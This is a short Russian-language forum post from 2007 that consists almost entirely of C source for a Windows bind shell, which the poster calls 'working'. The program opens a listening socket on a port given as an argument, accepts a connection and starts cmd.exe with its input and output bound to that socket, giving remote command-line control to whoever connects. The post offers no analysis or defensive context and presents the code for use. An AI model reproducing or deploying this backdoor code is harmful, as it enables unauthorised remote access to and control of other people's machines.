
07.12.2007, 23:11
|
|
Участник форума
Регистрация: 04.11.2007
Сообщений: 103
Провел на форуме: 548128
Репутация:
104
|
|
Код:
#include <winsock2.h>
void main(int argc, char **argv)
{
WSADATA wsd;
int fd,newfd;
struct sockaddr_in sin;
char *cmd = "cmd";
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si,0,sizeof(si));
memset(&pi,0,sizeof(pi));
WSAStartup(0x101,&wsd);
fd=WSASocketA (2,1,0,0,0,0);
sin.sin_family=2;
sin.sin_addr.s_addr=0;
sin.sin_port=htons(atoi(argv[1]));
bind(fd,(struct sockaddr *)&sin, 0x10);
listen(fd,0);
newfd=accept(fd,(struct sockaddr *)&sin,0);
si.cb=sizeof(si);
si.dwFlags=0x0101;
si.hStdInput=(char*)newfd;
si.hStdOutput=(char*)newfd;
si.hStdError=(char*)newfd;
CreateProcessA(0,cmd,0,0,1,0,0,0,&si,&pi);
WaitForSingleObject(pi.hProcess, INFINITE);
ExitThread(0);
}
вот рабочий...
|
|
|